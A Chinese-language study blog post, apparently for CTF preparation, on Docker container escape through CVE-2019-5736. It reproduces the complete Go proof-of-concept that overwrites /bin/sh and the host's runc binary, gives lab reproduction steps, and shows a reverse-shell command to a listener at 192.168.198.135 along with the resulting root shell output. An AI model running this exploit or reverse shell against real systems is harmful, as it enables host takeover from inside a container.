容器逃逸学习 (1)

近年来,有些pwn题会出一些有关于容器逃逸的题目,虽然很多都是板子题,但如果没有学过相关内容,比赛的时候还是会两眼一抹黑。因此本文将开始容器逃逸的相关内容学习。

笔者的计划是,通过具体的已发布的漏洞开始,逐步向底层逻辑前进。

在这第1篇文章中,我们从一个CVE漏洞开始------CVE-2019-5736,作为容器逃逸的入门。

主要参考资料:传送门(笔者觉得这篇文章写的非常好)

这是一个著名的Docker容器逃逸漏洞,影响范围为:Docker 18.09.2及以前,这些版本的Docker使用了1.0-rc6及以下的docker-runc从而导致漏洞。漏洞的成因是攻击者对主机的runc二进制文件进行重写,从而在提权的同时完成逃逸。下面我们就来具体了解一下这个漏洞本身。

1. Docker架构简介

要了解这个漏洞,首先就要了解docker-runc是干什么的。我们从这里可以下载到各种版本的Docker,其中大多都是压缩包。解压压缩包我们会发现其中有几个可执行文件:

  • docker: Docker客户端程序,也是我们最常用的elf,用于对镜像、容器等进行操作。
  • docker-containerd: 一个与Docker容器有关的守护进程,用于管理容器的创建、运行和销毁等操作。
  • docker-containerd-ctr: 与docker-containerd交互的命令行程序。
  • docker-containerd-shim: docker-containerd-ctr和docker-containerd的中间进程,负责通信等工作。
  • dockerd: Docker服务器进程。我们需要知道的是,Docker是以CS架构开发的,平时使用docker命令实质上也都是在和dockerd这个本地的服务器进程进行交互。
  • docker-init: 轻量级的初始化进程,用于完成容器创建时的初始化操作,并作为容器进程的父进程。
  • docker-proxy: 网络代理程序,负责容器之间的通信。
  • docker-runc: 轻量级的容器运行时工具,用于创建和运行容器,负责解析容器的配置并构建隔离环境。

也就是说,这个漏洞主要是对这个运行时工具进行攻击。

2. CVE-2019-5736介绍

这个漏洞的PoC可以在这里找到。

我们来结合这个PoC对这个漏洞的成因与利用方式进行分析。

golang 复制代码
package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
	"fmt"
	"io/ioutil"
	"os"
	"strconv"
	"strings"
	"flag"
)


var shellCmd string

func init() {
	flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
	flag.Parse()
}

func main() {
	// This is the line of shell commands that will execute on the host
	var payload = "#!/bin/bash \n" + shellCmd
	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("[+] Overwritten /bin/sh successfully")

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			fmt.Println("[+] The command executed is" + payload)
			writeHandle.Write([]byte(payload))
			return
		}
	}
}

A. 覆盖/bin/sh

在PoC中可以看到,fmt.Fprintln将/bin/sh这个二进制 文件的前面几个字节修改成了#!/proc/self/exe\n,什么意思呢?这相当于迷惑了Linux系统,将它视作一个Linux Shell文件而不是ELF二进制可执行文件。通过这种覆盖,/bin/sh仍然可以执行,但实际上它完成的将不再是/bin/sh原本的功能,而是跑去执行/proc/self/exe这个文件。

那么/proc/self/exe这个文件又是什么?为什么要执行这个文件呢?在文章开头的资料中给出了答案。

B. 找到docker-runc进程

/proc目录中,有很多以数字命名的目录,每一个数字都代表当前一个进程的进程号,而目录中则提供了与这个进程有关的文件,其中就有exe文件。这个文件是一个符号链接,指向创建这个进程的可执行文件或这个进程加载的动态链接库。

好,现在我们已经知道进程的可执行文件本身能够在/proc中找到,那么这和本文要讲的CVE有什么关系呢?这就需要了解一下docker-runc的工作原理了。在启动一个容器时,docker-runc会首先构建文件系统等配置,然后fork一次,在子进程调用容器的启动文件完成启动。这样做的结果是,docker-runc这个进程本身也能在容器的进程列表中找到。既然docker-runc在容器中也拥有一个进程号,我们就能够通过遍历所有进程找到它。

具体的遍历方法是:遍历所有进程的cmdline文件并查找runc字符串。cmdline文件顾名思义,保存了进程的命令行参数。如果docker-runc程序位于进程表中,runc一定能够在命令行参数中找到。

C. 尝试以只读方式打开runc文件

找到了我们要的进程号之后,我们就可以打开对应的exe文件了。但需要注意的是,这个文件本身是只读的,我们不能直接以读写模式打开,因此这里利用了一个/proc文件的特性。打开/proc目录下的文件时,不受mnt命名空间的影响,在进行权限检查后就能直接获得文件描述符。

对于一个普通路径下的文件,当进程打开这个文件时,mnt命名空间会对路径进行解析,并生成文件系统视图,确定进程是否能够打开这个文件。但是对于/proc目录则不受mnt命名空间的影响,这使得以其他权限打开文件描述符成为可能,也即------绕过了mnt命名空间的约束。经过与老师的讨论,我不将这个特性视为Linux系统的漏洞。

需要注意的是,打开这个文件本身需要在容器中具有root权限,如果没有,则可能还需要完成提权。

D. 以读写方式打开文件描述符

以只读方式打开exe文件后,可通过以读写方式打开文件描述符的方式绕过权限限制,打开exe文件,实际上就是docker-runc文件。考虑到Linux系统中不允许修改正在执行的程序文件,因此这里需要多次尝试,在docker-runc停止工作时以抢占的方式打开这个文件。

E. 篡改主机的docker-runc文件,注入payload

当docker-runc文件可写后,我们就可以向其中写入任意代码并执行。

3. CVE-2019-5736复现

A. 准备工作

为了复现这个漏洞,我们需要下载18.09.2以下版本的docker。这里推荐一个仓库,可以很方便地安装用于漏洞复现的docker环境:链接。下面是下载版本:

  • docker: 18.03.1-ce
  • 镜像:Ubuntu 16.04(这个需要注意,由于我们使用的docker版本比较低,如果下载18.04及以上的Ubuntu会报错:Error response from daemon: missing signature key,只能下载更低版本的Ubuntu。)
  • 容器创建:docker run -it ubuntu:16.04 /bin/bash

B. 编译文件

最新版本的PoC中将要执行的命令移动到了命令行参数中,方便我们灵活地执行任意代码。PoC仓库:链接

bash 复制代码
go build main.go

之后将编译好的PoC复制到docker容器。

C. 触发漏洞

笔者初学容器逃逸,按照网上的方法尝试了很多次,才终于找到漏洞触发的方法。最后发现是网上的方法说的不详细。

Step 1

在另一台虚拟机(192.168.198.135)中打开50000端口的监听,设置PoC的任意执行命令为反弹shell命令:

bash 复制代码
bash -i >& /dev/tcp/192.168.198.135/50000 0>&1

Step 2

用bash作为命令行打开容器:

bash 复制代码
docker exec -it <容器名> bash

Step 3

apt update,安装netcat。

复制PoC二进制ELF执行PoC代码,立即可以看到/bin/sh被覆盖的提示信息,但是一直找不到runc进程,这是因为目前docker还没有需要runc参与的任务。

Step 4

在主机另一个终端打开容器的命令行让PoC检测到runc。但这次一定要用/bin/sh打开命令行而不是bash。docker exec命令执行后瞬间就可以看到runc进程被修改的提示信息。在新的终端中用sh无法打开容器的命令行,显示No help topic for '/bin/sh'

Step 5

在新的终端再一次尝试用sh打开容器的命令行,随后命令行阻塞,成功执行反弹shell代码,下面是攻击者机器的部分命令行显示内容:

bash 复制代码
root@colin-virtual-machine:~/Desktop# nc -vv -lp 50000
Listening on 0.0.0.0 50000
Connection received on 192.168.198.xxx 42248
bash: cannot set terminal process group (8750): Inappropriate ioctl for device
bash: no job control in this shell
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# ls
ls
16505d598214f0c33ba21d8e96f5ecf34db215d32ba229527a67314d7ed96c7a.pid
config.json
init.pid
log.json
rootfs
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# uname -a
uname -a
Linux ubuntu 5.4.0-150-generic #167~18.04.1-Ubuntu SMP Wed May 24 00:51:42 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# pwd
pwd
/run/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/cf90012c3bea6ddebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# 

复现完毕。

相关推荐
IT古董9 分钟前
【机器学习】机器学习的基本分类-半监督学习(Semi-supervised Learning)
学习·机器学习·分类·半监督学习
jbjhzstsl28 分钟前
lv_ffmpeg学习及播放rtsp
学习·ffmpeg
青い月の魔女36 分钟前
数据结构初阶---二叉树
c语言·数据结构·笔记·学习·算法
网络安全(king)38 分钟前
网络安全攻防学习平台 - 基础关
网络·学习·web安全
Hacker_Nightrain1 小时前
网络安全与加密
安全·web安全
虾球xz1 小时前
游戏引擎学习第59天
学习·游戏引擎
枫零NET2 小时前
学习思考:一日三问(学习篇)之匹配VLAN
网络·学习·交换机
沐泽Mu2 小时前
嵌入式学习-QT-Day07
c++·qt·学习·命令模式
沐泽Mu2 小时前
嵌入式学习-QT-Day09
开发语言·qt·学习
炸毛的飞鼠2 小时前
汇编语言学习
笔记·学习